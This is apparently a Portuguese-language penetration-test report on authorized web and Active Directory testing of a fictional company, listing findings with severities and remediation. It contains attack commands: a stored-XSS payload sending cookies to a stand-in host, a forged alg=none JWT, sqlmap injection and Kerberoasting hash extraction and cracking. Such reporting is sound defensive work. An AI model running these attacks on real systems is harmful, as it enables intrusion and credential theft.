

[OK] 4287. Avaliação de Segurança Ofensiva — ACME Corp (Web + AD)

- [\[OK\] 1. Reconhecimento e mapeamento da superfície](#)
- [\[OK\] 2. Aplicação web: autenticação e controle de acesso](#)
- [\[OK\] 3. Injeção e validação de entrada](#)
- [\[OK\] 4. Infraestrutura interna e Active Directory](#)
- [\[OK\] 5. Validação de impacto \(cadeia de exploração\)](#)
- [\[FAIL\] 6. Teste de stress de camada 7 \(DoS\)](#)

[OK] 1. Reconhecimento e mapeamento da superfície

Objetivo

Mapear a superfície externa e interna autorizada da ACME Corp e priorizar vetores de maior risco.

Escopo autorizado

- Domínios: **acme.example**, ***.acme.example**
- Faixa interna: **10.20.0.0/16** (VPN de teste fornecida)
- Janela: 02-06/jun, fora do horário comercial

Resumo: identificados 4 ativos expostos relevantes e 1 caminho de entrada para a rede interna.

Ativo	Serviço	Observação
loja.acme.example	HTTPS (nginx)	Aplicação principal de e-commerce
api.acme.example	HTTPS (REST)	API de pedidos/contas
vpn.acme.example	IKEv2	Acesso remoto
10.20.10.5	SMB/LDAP	Controlador de domínio DC01

[WARN] Todas as ações foram conduzidas dentro do escopo autorizado e com PoC não destrutiva.

[OK] 1.1. Enumeração de subdomínios

Coleta passiva (CT logs, DNS) e ativa (bruteforce controlado).

Subdomínios vivos confirmados:



```
# coleta passiva + resolução
subfinder -d acme.example -silent | dnsx -silent -a -resp
# loja.acme.example      A 203.0.113.20
# api.acme.example       A 203.0.113.21
# vpn.acme.example       A 203.0.113.30
```

[OK] 1.2. Fingerprinting de serviços

Identificação de tecnologias e versões.

- **loja.acme.example:** nginx 1.24, app Node.js/Express, JWT em cookie de sessão.
- **api.acme.example:** REST atrás de nginx; rotas **/api/v1/orders**, **/api/v1/users**.
- TLS 1.2/1.3, sem vulnerabilidades de protocolo.

[OK] 2. Aplicação web: autenticação e controle de acesso

Objetivo

Avaliar autenticação, gestão de sessão e autorização (IDOR/BOLA) na loja e na API.

Dois achados de alto impacto na camada de autorização e sessão.

Achado 2.1 — IDOR/BOLA em /api/v1/orders/{id} (Alto)

Campo	Valor
Severidade	Alto (CVSS 8.1)
Classe	CWE-639 / OWASP API1:2023 (BOLA)
Status	Confirmado

Um usuário autenticado consegue ler pedidos de **outros** clientes apenas trocando o **id**, sem verificação de propriedade no servidor.

```
# Sessão do usuário A (id de pedido próprio = 10231); acesso ao pedido de outro cliente:
curl -s https://api.acme.example/api/v1/orders/10232 \
-H "Authorization: Bearer $TOKEN_A" | jq '{id, customer, total, address}'
# -> retorna dados de cliente DISTINTO (nome, endereço, itens, total)
```

Impacto: exposição de PII e histórico de compras de toda a base.

Remediação: validar `order.customer_id == session.user_id` no servidor; preferir referências indiretas (UUID por usuário) e testes de autorização por objeto.

Achado 2.2 — JWT aceitando alg=none (Crítico)

Campo	Valor
Severidade	Crítico (CVSS 9.1)
Classe	CWE-347 (verificação de assinatura ausente)
Status	Confirmado

A API aceita tokens com cabeçalho `{"alg": "none"}`, permitindo forjar identidade/elevação.

```
# token forjado (sem assinatura) elevando para role=admin
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "10231", "role": "admin"}
# aceito por api.acme.example -> acesso a endpoints administrativos
```

Remediação: fixar o algoritmo esperado (ex.: RS256) no verificador; rejeitar `none`; rotacionar segredos e invalidar sessões emitidas.

[OK] 3. Injeção e validação de entrada

Objetivo

Testar injeção (SQL/NoSQL), XSS e desserialização nos pontos de entrada da loja.

Achado 3.1 — SQL Injection boolean/time-based em /buscar (Crítico)

Campo	Valor
Severidade	Crítico (CVSS 9.4)
Classe	CWE-89 / OWASP A03:2021
Status	Confirmado (PoC de leitura, não destrutiva)

O parâmetro `q` é concatenado diretamente na query. Extração inferencial confirmada.

```
sqlmap -u "https://loja.acme.example/buscar?q=tenis" \
--batch --technique=BT --dbms=postgres --banner
# parameter 'q' is injectable (boolean-based, time-based)
```

Remediação: consultas parametrizadas/prepared statements; ORM seguro; WAF como camada extra.

Achado 3.2 — XSS armazenado em avaliações de produto (Médio)

Campo	Valor
Severidade	Médio (CVSS 6.1)
Classe	CWE-79 / OWASP A03:2021
Status	Confirmado

Payload persiste no comentário e executa no contexto de outros usuários.

```
<img src=x onerror="fetch('https://c2.teste/'+document.cookie)">
```

Remediação: codificação de saída por contexto; CSP estrita; sanitização no servidor.

[OK] 4. Infraestrutura interna e Active Directory

Objetivo

A partir do acesso interno autorizado (VPN), avaliar exposição do AD e caminhos de movimentação lateral.

Achado 4.1 — Kerberoasting de conta de serviço (Alto)

Campo	Valor
Severidade	Alto (CVSS 8.0)
Classe	T1558.003 (MITRE ATT&CK)
Status	Confirmado

Conta de serviço **svc_sql** com SPN e senha fraca permitiu extração e quebra offline do hash.

```
GetUserSPNs.py acme.example/teste:'<senha-lab>' -dc-ip 10.20.10.5 -request
hashcat -m 13100 svc_sql.hash rockyou.txt # senha recuperada offline
```

Remediação: senhas longas/aleatórias para contas de serviço (gMSA); monitorar TGS-REQ anômalos.

Achado 4.2 — SMB signing desabilitado (Médio)

Campo	Valor
Severidade	Médio (CVSS 5.9)
Classe	T1557.001 (NTLM relay)
Status	Confirmado

Hosts sem assinatura SMB permitem relay de autenticação NTLM.

Remediação: habilitar/forçar SMB signing via GPO; desabilitar NTLM onde possível.

[OK] 5. Validação de impacto (cadeia de exploração)

Objetivo

Demonstrar impacto de negócio encadeando os achados, sem ações destrutivas.

Cadeia demonstrada: SQLi (3.1) 'vazamento de credenciais de aplicação 'pivô para a rede interna (VPN) 'Kerberoasting (4.1) 'comprometimento de conta privilegiada.

O resultado evidencia caminho plausível de **exposição de toda a base de clientes** e de **controle administrativo** do domínio de teste. Nenhum dado de produção foi alterado ou exfiltrado; as PoCs limitaram-se à leitura mínima necessária para comprovar o impacto.

[FAIL] 6. Teste de stress de camada 7 (DoS)

Objetivo

Avaliar resiliência a DoS de aplicação.

Abortado conforme as regras de engajamento. Testes de negação de serviço estavam fora do escopo autorizado para o ambiente compartilhado; a tarefa foi encerrada sem execução para preservar a disponibilidade. Recomenda-se um teste dedicado em ambiente isolado.